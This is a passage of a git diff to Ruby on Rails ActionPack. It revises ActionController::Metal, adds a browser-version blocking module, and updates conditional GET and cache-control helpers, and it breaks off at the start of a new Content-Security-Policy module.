+  #       include AbstractController::Rendering
+  #       include ActionView::Layouts
+  #       append_view_path "#{Rails.root}/app/views"
   #
-  #     def index
-  #       render "hello/index"
+  #       def index
+  #         render "hello/index"
+  #       end
   #     end
-  #   end
   #
-  # == Redirection Helpers
+  # ## Redirection Helpers
   #
   # To add redirection helpers to your metal controller, do the following:
   #
-  #   class HelloController < ActionController::Metal
-  #     include ActionController::Redirecting
-  #     include Rails.application.routes.url_helpers
+  #     class HelloController < ActionController::Metal
+  #       include ActionController::Redirecting
+  #       include Rails.application.routes.url_helpers
   #
-  #     def index
-  #       redirect_to root_url
+  #       def index
+  #         redirect_to root_url
+  #       end
   #     end
-  #   end
   #
-  # == Other Helpers
-  #
-  # You can refer to the modules included in <tt>ActionController::Base</tt> to see
-  # other features you can bring into your metal controller.
+  # ## Other Helpers
   #
+  # You can refer to the modules included in ActionController::Base to see other
+  # features you can bring into your metal controller.
   class Metal < AbstractController::Base
     abstract!
 
-    # Returns the last part of the controller's name, underscored, without the ending
-    # <tt>Controller</tt>. For instance, PostsController returns <tt>posts</tt>.
-    # Namespaces are left out, so Admin::PostsController returns <tt>posts</tt> as well.
+    # Returns the last part of the controller's name, underscored, without the
+    # ending `Controller`. For instance, `PostsController` returns `posts`.
+    # Namespaces are left out, so `Admin::PostsController` returns `posts` as well.
     #
-    # ==== Returns
-    # * <tt>string</tt>
+    # #### Returns
+    # *   `string`
     def self.controller_name
-      @controller_name ||= name.demodulize.sub(/Controller$/, "").underscore
+      @controller_name ||= (name.demodulize.delete_suffix("Controller").underscore unless anonymous?)
     end
 
     def self.make_response!(request)
-      ActionDispatch::Response.create.tap do |res|
+      ActionDispatch::Response.new.tap do |res|
         res.request = request
       end
     end
 
-    def self.binary_params_for?(action) # :nodoc:
+    def self.action_encoding_template(action) # :nodoc:
       false
     end
 
-    # Delegates to the class' <tt>controller_name</tt>
+    class << self
+      private
+        def inherited(subclass)
+          super
+          subclass.middleware_stack = middleware_stack.dup
+          subclass.class_eval do
+            @controller_name = nil
+          end
+        end
+    end
+
+    # Delegates to the class's ::controller_name.
     def controller_name
       self.class.controller_name
     end
 
-    attr_internal :response, :request
+    ##
+    # :attr_reader: request
+    #
+    # The ActionDispatch::Request instance for the current request.
+    attr_internal :request
+
+    ##
+    # :attr_reader: response
+    #
+    # The ActionDispatch::Response instance for the current response.
+    attr_internal_reader :response
+
+    ##
+    # The ActionDispatch::Request::Session instance for the current request.
+    # See further details in the
+    # [Active Controller Session guide](https://guides.rubyonrails.org/action_controller_overview.html#session).
     delegate :session, to: "@_request"
-    delegate :headers, :status=, :location=, :content_type=,
-             :status, :location, :content_type, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#headers.
+    delegate :headers, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#status=
+    delegate :status=, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#location=
+    delegate :location=, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#content_type=
+    delegate :content_type=, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#status
+    delegate :status, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#location
+    delegate :location, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#content_type
+    delegate :content_type, to: "@_response"
+
+    ##
+    # Delegates to ActionDispatch::Response#media_type
+    delegate :media_type, to: "@_response"
 
     def initialize
       @_request = nil
       @_response = nil
+      @_response_body = nil
       @_routes = nil
+      @_params = nil
       super
     end
 
@@ -165,17 +226,19 @@ def params=(val)
 
     alias :response_code :status # :nodoc:
 
-    # Basic url_for that can be overridden for more robust functionality.
+    # Basic `url_for` that can be overridden for more robust functionality.
     def url_for(string)
       string
     end
 
     def response_body=(body)
-      body = [body] unless body.nil? || body.respond_to?(:each)
-      response.reset_body!
-      return unless body
-      response.body = body
-      super
+      if body
+        body = [body] if body.is_a?(String)
+        response.body = body
+        super
+      else
+        response.reset_body!
+      end
     end
 
     # Tests if render or redirect has already happened.
@@ -183,7 +246,7 @@ def performed?
       response_body || response.committed?
     end
 
-    def dispatch(name, request, response) #:nodoc:
+    def dispatch(name, request, response) # :nodoc:
       set_request!(request)
       set_response!(response)
       process(name)
@@ -192,15 +255,29 @@ def dispatch(name, request, response) #:nodoc:
     end
 
     def set_response!(response) # :nodoc:
+      if @_response
+        _, _, body = @_response
+        body.close if body.respond_to?(:close)
+      end
+
       @_response = response
     end
 
-    def set_request!(request) #:nodoc:
+    # Assign the response and mark it as committed. No further processing will
+    # occur.
+    def response=(response)
+      set_response!(response)
+
+      # Force `performed?` to return true:
+      @_response_body = true
+    end
+
+    def set_request!(request) # :nodoc:
       @_request = request
       @_request.controller_instance = self
     end
 
-    def to_a #:nodoc:
+    def to_a # :nodoc:
       response.to_a
     end
 
@@ -208,44 +285,49 @@ def reset_session
       @_request.reset_session
     end
 
-    class_attribute :middleware_stack
-    self.middleware_stack = ActionController::MiddlewareStack.new
+    class_attribute :middleware_stack, default: ActionController::MiddlewareStack.new
 
-    def self.inherited(base) # :nodoc:
-      base.middleware_stack = middleware_stack.dup
-      super
-    end
-
-    # Pushes the given Rack middleware and its arguments to the bottom of the
-    # middleware stack.
-    def self.use(*args, &block)
-      middleware_stack.use(*args, &block)
+    class << self
+      # Pushes the given Rack middleware and its arguments to the bottom of the
+      # middleware stack.
+      def use(...)
+        middleware_stack.use(...)
+      end
     end
 
-    # Alias for +middleware_stack+.
+    # The middleware stack used by this controller.
+    #
+    # By default uses a variation of ActionDispatch::MiddlewareStack which allows
+    # for the following syntax:
+    #
+    #     class PostsController < ApplicationController
+    #       use AuthenticationMiddleware, except: [:index, :show]
+    #     end
+    #
+    # Read more about [Rails middleware stack]
+    # (https://guides.rubyonrails.org/rails_on_rack.html#action-dispatcher-middleware-stack)
+    # in the guides.
     def self.middleware
       middleware_stack
     end
 
     # Returns a Rack endpoint for the given action name.
     def self.action(name)
+      app = lambda { |env|
+        req = ActionDispatch::Request.new(env)
+        res = make_response! req
+        new.dispatch(name, req, res)
+      }
+
       if middleware_stack.any?
-        middleware_stack.build(name) do |env|
-          req = ActionDispatch::Request.new(env)
-          res = make_response! req
-          new.dispatch(name, req, res)
-        end
+        middleware_stack.build(name, app)
       else
-        lambda { |env|
-          req = ActionDispatch::Request.new(env)
-          res = make_response! req
-          new.dispatch(name, req, res)
-        }
+        app
       end
     end
 
-    # Direct dispatch to the controller.  Instantiates the controller, then
-    # executes the action named +name+.
+    # Direct dispatch to the controller. Instantiates the controller, then executes
+    # the action named `name`.
     def self.dispatch(name, req, res)
       if middleware_stack.any?
         middleware_stack.build(name) { |env| new.dispatch(name, req, res) }.call req.env
diff --git a/actionpack/lib/action_controller/metal/allow_browser.rb b/actionpack/lib/action_controller/metal/allow_browser.rb
new file mode 100644
index 0000000000000..f32a7cb91b08b
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/allow_browser.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
+  module AllowBrowser
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Specify the browser versions that will be allowed to access all actions (or
+      # some, as limited by `only:` or `except:`). Only browsers matched in the hash
+      # or named set passed to `versions:` will be blocked if they're below the
+      # versions specified. This means that all other browsers, as well as agents that
+      # aren't reporting a user-agent header, will be allowed access.
+      #
+      # A browser that's blocked will by default be served the file in
+      # public/406-unsupported-browser.html with an HTTP status code of "406 Not
+      # Acceptable".
+      #
+      # In addition to specifically named browser versions, you can also pass
+      # `:modern` as the set to restrict support to browsers natively supporting webp
+      # images, web push, badges, import maps, CSS nesting, and CSS :has. This
+      # includes Safari 17.2+, Chrome 120+, Firefox 121+, Opera 106+.
+      #
+      # You can use https://caniuse.com to check for browser versions supporting the
+      # features you use.
+      #
+      # You can use `ActiveSupport::Notifications` to subscribe to events of browsers
+      # being blocked using the `browser_block.action_controller` event name.
+      #
+      # Examples:
+      #
+      #     class ApplicationController < ActionController::Base
+      #       # Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has
+      #       allow_browser versions: :modern
+      #     end
+      #
+      #     class ApplicationController < ActionController::Base
+      #       # Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has
+      #       allow_browser versions: :modern, block: :handle_outdated_browser
+      #
+      #       private
+      #         def handle_outdated_browser
+      #           render file: Rails.root.join("public/custom-error.html"), status: :not_acceptable
+      #         end
+      #     end
+      #
+      #     class ApplicationController < ActionController::Base
+      #       # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
+      #       allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
+      #     end
+      #
+      #     class MessagesController < ApplicationController
+      #       # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
+      #       allow_browser versions: { opera: 104, chrome: 119 }, only: :show
+      #     end
+      def allow_browser(versions:, block: -> { render file: Rails.root.join("public/406-unsupported-browser.html"), layout: false, status: :not_acceptable }, **options)
+        before_action -> { allow_browser(versions: versions, block: block) }, **options
+      end
+    end
+
+    private
+      def allow_browser(versions:, block:)
+        require "useragent"
+
+        if BrowserBlocker.new(request, versions: versions).blocked?
+          ActiveSupport::Notifications.instrument("browser_block.action_controller", request: request, versions: versions) do
+            block.is_a?(Symbol) ? send(block) : instance_exec(&block)
+          end
+        end
+      end
+
+      class BrowserBlocker # :nodoc:
+        SETS = {
+          modern: { safari: 17.2, chrome: 120, firefox: 121, opera: 106, ie: false }
+        }
+
+        attr_reader :request, :versions
+
+        def initialize(request, versions:)
+          @request, @versions = request, versions
+        end
+
+        def blocked?
+          user_agent_version_reported? && unsupported_browser?
+        end
+
+        private
+          def parsed_user_agent
+            @parsed_user_agent ||= UserAgent.parse(request.user_agent)
+          end
+
+          def user_agent_version_reported?
+            request.user_agent.present? && parsed_user_agent.version.to_s.present?
+          end
+
+          def unsupported_browser?
+            version_guarded_browser? && version_below_minimum_required? && !bot?
+          end
+
+          def version_guarded_browser?
+            minimum_browser_version_for_browser != nil
+          end
+
+          def bot?
+            parsed_user_agent.bot?
+          end
+
+          def version_below_minimum_required?
+            if minimum_browser_version_for_browser
+              parsed_user_agent.version < UserAgent::Version.new(minimum_browser_version_for_browser.to_s)
+            else
+              true
+            end
+          end
+
+          def minimum_browser_version_for_browser
+            expanded_versions[normalized_browser_name]
+          end
+
+          def expanded_versions
+            @expanded_versions ||= (SETS[versions] || versions).with_indifferent_access
+          end
+
+          def normalized_browser_name
+            case name = parsed_user_agent.browser.downcase
+            when "internet explorer" then "ie"
+            else name
+            end
+          end
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/basic_implicit_render.rb b/actionpack/lib/action_controller/metal/basic_implicit_render.rb
index cef65a362c5b0..08230e93f940b 100644
--- a/actionpack/lib/action_controller/metal/basic_implicit_render.rb
+++ b/actionpack/lib/action_controller/metal/basic_implicit_render.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   module BasicImplicitRender # :nodoc:
     def send_action(method, *args)
-      super.tap { default_render unless performed? }
+      ret = super
+      default_render unless performed?
+      ret
     end
 
-    def default_render(*args)
+    def default_render
       head :no_content
     end
   end
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
index eb636fa3f6bb7..2f172279a312c 100644
--- a/actionpack/lib/action_controller/metal/conditional_get.rb
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -1,4 +1,9 @@
-require "active_support/core_ext/hash/keys"
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/try"
+require "active_support/core_ext/integer/time"
 
 module ActionController
   module ConditionalGet
@@ -7,101 +12,130 @@ module ConditionalGet
     include Head
 
     included do
-      class_attribute :etaggers
-      self.etaggers = []
+      class_attribute :etaggers, default: []
     end
 
     module ClassMethods
-      # Allows you to consider additional controller-wide information when generating an ETag.
-      # For example, if you serve pages tailored depending on who's logged in at the moment, you
-      # may want to add the current user id to be part of the ETag to prevent unauthorized displaying
-      # of cached pages.
+      # Allows you to consider additional controller-wide information when generating
+      # an ETag. For example, if you serve pages tailored depending on who's logged in
+      # at the moment, you may want to add the current user id to be part of the ETag
+      # to prevent unauthorized displaying of cached pages.
       #
-      #   class InvoicesController < ApplicationController
-      #     etag { current_user.try :id }
+      #     class InvoicesController < ApplicationController
+      #       etag { current_user&.id }
       #
-      #     def show
-      #       # Etag will differ even for the same invoice when it's viewed by a different current_user
-      #       @invoice = Invoice.find(params[:id])
-      #       fresh_when(@invoice)
+      #       def show
+      #         # Etag will differ even for the same invoice when it's viewed by a different current_user
+      #         @invoice = Invoice.find(params[:id])
+      #         fresh_when etag: @invoice
+      #       end
       #     end
-      #   end
       def etag(&etagger)
         self.etaggers += [etagger]
       end
     end
 
-    # Sets the +etag+, +last_modified+, or both on the response and renders a
-    # <tt>304 Not Modified</tt> response if the request is already fresh.
-    #
-    # === Parameters:
-    #
-    # * <tt>:etag</tt> Sets a "weak" ETag validator on the response. See the
-    #   +:weak_etag+ option.
-    # * <tt>:weak_etag</tt> Sets a "weak" ETag validator on the response.
-    #   Requests that set If-None-Match header may return a 304 Not Modified
-    #   response if it matches the ETag exactly. A weak ETag indicates semantic
-    #   equivalence, not byte-for-byte equality, so they're good for caching
-    #   HTML pages in browser caches. They can't be used for responses that
-    #   must be byte-identical, like serving Range requests within a PDF file.
-    # * <tt>:strong_etag</tt> Sets a "strong" ETag validator on the response.
-    #   Requests that set If-None-Match header may return a 304 Not Modified
-    #   response if it matches the ETag exactly. A strong ETag implies exact
-    #   equality: the response must match byte for byte. This is necessary for
-    #   doing Range requests within a large video or PDF file, for example, or
-    #   for compatibility with some CDNs that don't support weak ETags.
-    # * <tt>:last_modified</tt> Sets a "weak" last-update validator on the
-    #   response. Subsequent requests that set If-Modified-Since may return a
-    #   304 Not Modified response if last_modified <= If-Modified-Since.
-    # * <tt>:public</tt> By default the Cache-Control header is private, set this to
-    #   +true+ if you want your application to be cacheable by other devices (proxy caches).
-    # * <tt>:template</tt> By default, the template digest for the current
-    #   controller/action is included in ETags. If the action renders a
-    #   different template, you can include its digest instead. If the action
-    #   doesn't render a template at all, you can pass <tt>template: false</tt>
-    #   to skip any attempt to check for a template digest.
-    #
-    # === Example:
-    #
-    #   def show
-    #     @article = Article.find(params[:id])
-    #     fresh_when(etag: @article, last_modified: @article.updated_at, public: true)
-    #   end
-    #
-    # This will render the show template if the request isn't sending a matching ETag or
-    # If-Modified-Since header and just a <tt>304 Not Modified</tt> response if there's a match.
-    #
-    # You can also just pass a record. In this case +last_modified+ will be set
-    # by calling +updated_at+ and +etag+ by passing the object itself.
-    #
-    #   def show
-    #     @article = Article.find(params[:id])
-    #     fresh_when(@article)
-    #   end
-    #
-    # You can also pass an object that responds to +maximum+, such as a
-    # collection of active records. In this case +last_modified+ will be set by
-    # calling <tt>maximum(:updated_at)</tt> on the collection (the timestamp of the
-    # most recently updated record) and the +etag+ by passing the object itself.
-    #
-    #   def index
-    #     @articles = Article.all
-    #     fresh_when(@articles)
-    #   end
-    #
-    # When passing a record or a collection, you can still set the public header:
-    #
-    #   def show
-    #     @article = Article.find(params[:id])
-    #     fresh_when(@article, public: true)
-    #   end
-    #
-    # When rendering a different template than the default controller/action
-    # style, you can indicate which digest to include in the ETag:
-    #
-    #   before_action { fresh_when @article, template: 'widgets/show' }
-    #
-    def fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_modified: nil, public: false, template: nil)
+    # Sets the `etag`, `last_modified`, or both on the response, and renders a `304
+    # Not Modified` response if the request is already fresh.
+    #
+    # #### Options
+    #
+    # `:etag`
+    # :   Sets a "weak" ETag validator on the response. See the `:weak_etag` option.
+    #
+    # `:weak_etag`
+    # :   Sets a "weak" ETag validator on the response. Requests that specify an
+    #     `If-None-Match` header may receive a `304 Not Modified` response if the
+    #     ETag matches exactly.
+    #
+    # :   A weak ETag indicates semantic equivalence, not byte-for-byte equality, so
+    #     they're good for caching HTML pages in browser caches. They can't be used
+    #     for responses that must be byte-identical, like serving `Range` requests
+    #     within a PDF file.
+    #
+    # `:strong_etag`
+    # :   Sets a "strong" ETag validator on the response. Requests that specify an
+    #     `If-None-Match` header may receive a `304 Not Modified` response if the
+    #     ETag matches exactly.
+    #
+    # :   A strong ETag implies exact equality -- the response must match byte for
+    #     byte. This is necessary for serving `Range` requests within a large video
+    #     or PDF file, for example, or for compatibility with some CDNs that don't
+    #     support weak ETags.
+    #
+    # `:last_modified`
+    # :   Sets a "weak" last-update validator on the response. Subsequent requests
+    #     that specify an `If-Modified-Since` header may receive a `304 Not
+    #     Modified` response if `last_modified` <= `If-Modified-Since`.
+    #
+    # `:public`
+    # :   By default the `Cache-Control` header is private. Set this option to
+    #     `true` if you want your application to be cacheable by other devices, such
+    #     as proxy caches.
+    #
+    # `:cache_control`
+    # :   When given, will overwrite an existing `Cache-Control` header. For a list
+    #     of `Cache-Control` directives, see the [article on
+    #     MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control).
+    #
+    # `:template`
+    # :   By default, the template digest for the current controller/action is
+    #     included in ETags. If the action renders a different template, you can
+    #     include its digest instead. If the action doesn't render a template at
+    #     all, you can pass `template: false` to skip any attempt to check for a
+    #     template digest.
+    #
+    #
+    # #### Examples
+    #
+    #     def show
+    #       @article = Article.find(params[:id])
+    #       fresh_when(etag: @article, last_modified: @article.updated_at, public: true)
+    #     end
+    #
+    # This will send a `304 Not Modified` response if the request specifies a
+    # matching ETag and `If-Modified-Since` header. Otherwise, it will render the
+    # `show` template.
+    #
+    # You can also just pass a record:
+    #
+    #     def show
+    #       @article = Article.find(params[:id])
+    #       fresh_when(@article)
+    #     end
+    #
+    # `etag` will be set to the record, and `last_modified` will be set to the
+    # record's `updated_at`.
+    #
+    # You can also pass an object that responds to `maximum`, such as a collection
+    # of records:
+    #
+    #     def index
+    #       @articles = Article.all
+    #       fresh_when(@articles)
+    #     end
+    #
+    # In this case, `etag` will be set to the collection, and `last_modified` will
+    # be set to `maximum(:updated_at)` (the timestamp of the most recently updated
+    # record).
+    #
+    # When passing a record or a collection, you can still specify other options,
+    # such as `:public` and `:cache_control`:
+    #
+    #     def show
+    #       @article = Article.find(params[:id])
+    #       fresh_when(@article, public: true, cache_control: { no_cache: true })
+    #     end
+    #
+    # The above will set `Cache-Control: public, no-cache` in the response.
+    #
+    # When rendering a different template than the controller/action's default
+    # template, you can indicate which digest to include in the ETag:
+    #
+    #     before_action { fresh_when @article, template: "widgets/show" }
+    #
+    def fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_modified: nil, public: false, cache_control: {}, template: nil)
+      response.cache_control.delete(:no_store)
       weak_etag ||= etag || object unless strong_etag
       last_modified ||= object.try(:updated_at) || object.try(:maximum, :updated_at)
 
@@ -115,126 +149,153 @@ def fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_m
 
       response.last_modified = last_modified if last_modified
       response.cache_control[:public] = true if public
+      response.cache_control.merge!(cache_control)
 
       head :not_modified if request.fresh?(response)
     end
 
-    # Sets the +etag+ and/or +last_modified+ on the response and checks it against
-    # the client request. If the request doesn't match the options provided, the
-    # request is considered stale and should be generated from scratch. Otherwise,
-    # it's fresh and we don't need to generate anything and a reply of <tt>304 Not Modified</tt> is sent.
-    #
-    # === Parameters:
-    #
-    # * <tt>:etag</tt> Sets a "weak" ETag validator on the response. See the
-    #   +:weak_etag+ option.
-    # * <tt>:weak_etag</tt> Sets a "weak" ETag validator on the response.
-    #   Requests that set If-None-Match header may return a 304 Not Modified
-    #   response if it matches the ETag exactly. A weak ETag indicates semantic
-    #   equivalence, not byte-for-byte equality, so they're good for caching
-    #   HTML pages in browser caches. They can't be used for responses that
-    #   must be byte-identical, like serving Range requests within a PDF file.
-    # * <tt>:strong_etag</tt> Sets a "strong" ETag validator on the response.
-    #   Requests that set If-None-Match header may return a 304 Not Modified
-    #   response if it matches the ETag exactly. A strong ETag implies exact
-    #   equality: the response must match byte for byte. This is necessary for
-    #   doing Range requests within a large video or PDF file, for example, or
-    #   for compatibility with some CDNs that don't support weak ETags.
-    # * <tt>:last_modified</tt> Sets a "weak" last-update validator on the
-    #   response. Subsequent requests that set If-Modified-Since may return a
-    #   304 Not Modified response if last_modified <= If-Modified-Since.
-    # * <tt>:public</tt> By default the Cache-Control header is private, set this to
-    #   +true+ if you want your application to be cacheable by other devices (proxy caches).
-    # * <tt>:template</tt> By default, the template digest for the current
-    #   controller/action is included in ETags. If the action renders a
-    #   different template, you can include its digest instead. If the action
-    #   doesn't render a template at all, you can pass <tt>template: false</tt>
-    #   to skip any attempt to check for a template digest.
-    #
-    # === Example:
-    #
-    #   def show
-    #     @article = Article.find(params[:id])
-    #
-    #     if stale?(etag: @article, last_modified: @article.updated_at)
-    #       @statistics = @article.really_expensive_call
-    #       respond_to do |format|
-    #         # all the supported formats
+    # Sets the `etag` and/or `last_modified` on the response and checks them against
+    # the request. If the request doesn't match the provided options, it is
+    # considered stale, and the response should be rendered from scratch. Otherwise,
+    # it is fresh, and a `304 Not Modified` is sent.
+    #
+    # #### Options
+    #
+    # See #fresh_when for supported options.
+    #
+    # #### Examples
+    #
+    #     def show
+    #       @article = Article.find(params[:id])
+    #
+    #       if stale?(etag: @article, last_modified: @article.updated_at)
+    #         @statistics = @article.really_expensive_call
+    #         respond_to do |format|
+    #           # all the supported formats
+    #         end
     #       end
     #     end
-    #   end
     #
-    # You can also just pass a record. In this case +last_modified+ will be set
-    # by calling +updated_at+ and +etag+ by passing the object itself.
+    # You can also just pass a record:
     #
-    #   def show
-    #     @article = Article.find(params[:id])
+    #     def show
+    #       @article = Article.find(params[:id])
     #
-    #     if stale?(@article)
-    #       @statistics = @article.really_expensive_call
-    #       respond_to do |format|
-    #         # all the supported formats
+    #       if stale?(@article)
+    #         @statistics = @article.really_expensive_call
+    #         respond_to do |format|
+    #           # all the supported formats
+    #         end
     #       end
     #     end
-    #   end
     #
-    # You can also pass an object that responds to +maximum+, such as a
-    # collection of active records. In this case +last_modified+ will be set by
-    # calling +maximum(:updated_at)+ on the collection (the timestamp of the
-    # most recently updated record) and the +etag+ by passing the object itself.
+    # `etag` will be set to the record, and `last_modified` will be set to the
+    # record's `updated_at`.
     #
-    #   def index
-    #     @articles = Article.all
+    # You can also pass an object that responds to `maximum`, such as a collection
+    # of records:
     #
-    #     if stale?(@articles)
-    #       @statistics = @articles.really_expensive_call
-    #       respond_to do |format|
-    #         # all the supported formats
+    #     def index
+    #       @articles = Article.all
+    #
+    #       if stale?(@articles)
+    #         @statistics = @articles.really_expensive_call
+    #         respond_to do |format|
+    #           # all the supported formats
+    #         end
     #       end
     #     end
-    #   end
     #
-    # When passing a record or a collection, you can still set the public header:
+    # In this case, `etag` will be set to the collection, and `last_modified` will
+    # be set to `maximum(:updated_at)` (the timestamp of the most recently updated
+    # record).
+    #
+    # When passing a record or a collection, you can still specify other options,
+    # such as `:public` and `:cache_control`:
     #
-    #   def show
-    #     @article = Article.find(params[:id])
+    #     def show
+    #       @article = Article.find(params[:id])
     #
-    #     if stale?(@article, public: true)
-    #       @statistics = @article.really_expensive_call
-    #       respond_to do |format|
-    #         # all the supported formats
+    #       if stale?(@article, public: true, cache_control: { no_cache: true })
+    #         @statistics = @articles.really_expensive_call
+    #         respond_to do |format|
+    #           # all the supported formats
+    #         end
     #       end
     #     end
-    #   end
     #
-    # When rendering a different template than the default controller/action
-    # style, you can indicate which digest to include in the ETag:
+    # The above will set `Cache-Control: public, no-cache` in the response.
     #
-    #   def show
-    #     super if stale? @article, template: 'widgets/show'
-    #   end
+    # When rendering a different template than the controller/action's default
+    # template, you can indicate which digest to include in the ETag:
+    #
+    #     def show
+    #       super if stale?(@article, template: "widgets/show")
+    #     end
     #
     def stale?(object = nil, **freshness_kwargs)
       fresh_when(object, **freshness_kwargs)
       !request.fresh?(response)
     end
 
-    # Sets an HTTP 1.1 Cache-Control header. Defaults to issuing a +private+
-    # instruction, so that intermediate caches must not cache the response.
+    # Sets the `Cache-Control` header, overwriting existing directives. This method
+    # will also ensure an HTTP `Date` header for client compatibility.
+    #
+    # Defaults to issuing the `private` directive, so that intermediate caches must
+    # not cache the response.
+    #
+    # #### Options
+    #
+    # `:public`
+    # :   If true, replaces the default `private` directive with the `public`
+    #     directive.
+    #
+    # `:must_revalidate`
+    # :   If true, adds the `must-revalidate` directive.
+    #
+    # `:stale_while_revalidate`
+    # :   Sets the value of the `stale-while-revalidate` directive.
+    #
+    # `:stale_if_error`
+    # :   Sets the value of the `stale-if-error` directive.
+    #
+    # `:immutable`
+    # :   If true, adds the `immutable` directive.
+    #
+    #
+    # Any additional key-value pairs are concatenated as directives. For a list of
+    # supported `Cache-Control` directives, see the [article on
+    # MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control).
+    #
+    # #### Examples
+    #
+    #     expires_in 10.minutes
+    #     # => Cache-Control: max-age=600, private
+    #
+    #     expires_in 10.minutes, public: true
+    #     # => Cache-Control: max-age=600, public
     #
-    #   expires_in 20.minutes
-    #   expires_in 3.hours, public: true
-    #   expires_in 3.hours, public: true, must_revalidate: true
+    #     expires_in 10.minutes, public: true, must_revalidate: true
+    #     # => Cache-Control: max-age=600, public, must-revalidate
     #
-    # This method will overwrite an existing Cache-Control header.
-    # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
+    #     expires_in 1.hour, stale_while_revalidate: 60.seconds
+    #     # => Cache-Control: max-age=3600, private, stale-while-revalidate=60
+    #
+    #     expires_in 1.hour, stale_if_error: 5.minutes
+    #     # => Cache-Control: max-age=3600, private, stale-if-error=300
+    #
+    #     expires_in 1.hour, public: true, "s-maxage": 3.hours, "no-transform": true
+    #     # => Cache-Control: max-age=3600, public, s-maxage=10800, no-transform=true
     #
-    # The method will also ensure an HTTP Date header for client compatibility.
     def expires_in(seconds, options = {})
+      response.cache_control.delete(:no_store)
       response.cache_control.merge!(
         max_age: seconds,
         public: options.delete(:public),
-        must_revalidate: options.delete(:must_revalidate)
+        must_revalidate: options.delete(:must_revalidate),
+        stale_while_revalidate: options.delete(:stale_while_revalidate),
+        stale_if_error: options.delete(:stale_if_error),
+        immutable: options.delete(:immutable),
       )
       options.delete(:private)
 
@@ -242,8 +303,8 @@ def expires_in(seconds, options = {})
       response.date = Time.now unless response.date?
     end
 
-    # Sets an HTTP 1.1 Cache-Control header of <tt>no-cache</tt>. This means the
-    # resource will be marked as stale, so clients must always revalidate.
+    # Sets an HTTP 1.1 `Cache-Control` header of `no-cache`. This means the resource
+    # will be marked as stale, so clients must always revalidate.
     # Intermediate/browser caches may still store the asset.
     def expires_now
       response.cache_control.replace(no_cache: true)
@@ -251,20 +312,51 @@ def expires_now
 
     # Cache or yield the block. The cache is supposed to never expire.
     #
-    # You can use this method when you have an HTTP response that never changes,
-    # and the browser and proxies should cache it indefinitely.
+    # You can use this method when you have an HTTP response that never changes, and
+    # the browser and proxies should cache it indefinitely.
     #
-    # * +public+: By default, HTTP responses are private, cached only on the
-    #   user's web browser. To allow proxies to cache the response, set +true+ to
-    #   indicate that they can serve the cached response to all users.
+    # *   `public`: By default, HTTP responses are private, cached only on the
+    #     user's web browser. To allow proxies to cache the response, set `true` to
+    #     indicate that they can serve the cached response to all users.
     def http_cache_forever(public: false)
-      expires_in 100.years, public: public
+      expires_in 100.years, public: public, immutable: true
 
       yield if stale?(etag: request.fullpath,
                       last_modified: Time.new(2011, 1, 1).utc,
                       public: public)
     end
 
+    # Sets an HTTP 1.1 `Cache-Control` header of `no-store`. This means the resource
+    # may not be stored in any cache.
+    def no_store
+      response.cache_control.replace(no_store: true)
+    end
+
+    # Adds the `must-understand` directive to the `Cache-Control` header, which indicates
+    # that a cache MUST understand the semantics of the response status code that has been
+    # received, or discard the response.
+    #
+    # This is particularly useful when returning responses with new or uncommon
+    # status codes that might not be properly interpreted by older caches.
+    #
+    # #### Example
+    #
+    #     def show
+    #       @article = Article.find(params[:id])
+    #
+    #       if @article.early_access?
+    #         must_understand
+    #         render status: 203 # Non-Authoritative Information
+    #       else
+    #         fresh_when @article
+    #       end
+    #     end
+    #
+    def must_understand
+      response.cache_control[:must_understand] = true
+      response.cache_control[:no_store] = true
+    end
+
     private
       def combine_etags(validator, options)
         [validator, *etaggers.map { |etagger| instance_exec(options, &etagger) }].compact
diff --git a/actionpack/lib/action_controller/metal/content_security_policy.rb b/actionpack/lib/action_controller/metal/content_security_policy.rb
new file mode 100644
index 0000000000000..6af6706c1cbcd
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/content_security_policy.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
+  module ContentSecurityPolicy
+    extend ActiveSupport::Concern
+
+    include AbstractController::Helpers
+    include AbstractController::Callbacks
+
+    included do
+      helper_method :content_security_policy?
+      helper_method :content_security_policy_nonce
+    end
+
+    module ClassMethods
+      # Overrides parts of the globally configured `Content-Security-Policy` header:
+      #
+      #     class PostsController < ApplicationController
+      #       content_security_policy do |policy|
+      #         policy.base_uri "https://www.example.com"
+      #       end
+      #     end
+      #
+      # Options can be passed similar to `before_action`. For example, pass `only:
+      # :index` to override the header on the index action only:
+      #
+      #     class PostsController < ApplicationController
+      #       content_security_policy(only: :index) do |policy|
+      #         policy.default_src :self, :https
+      #       end
+      #     end
+      #
+      # Pass `false` to remove the `Content-Security-Policy` header:
+      #
+      #     class PostsController < ApplicationController
+      #       content_security_policy false, only: :index
+      #     end
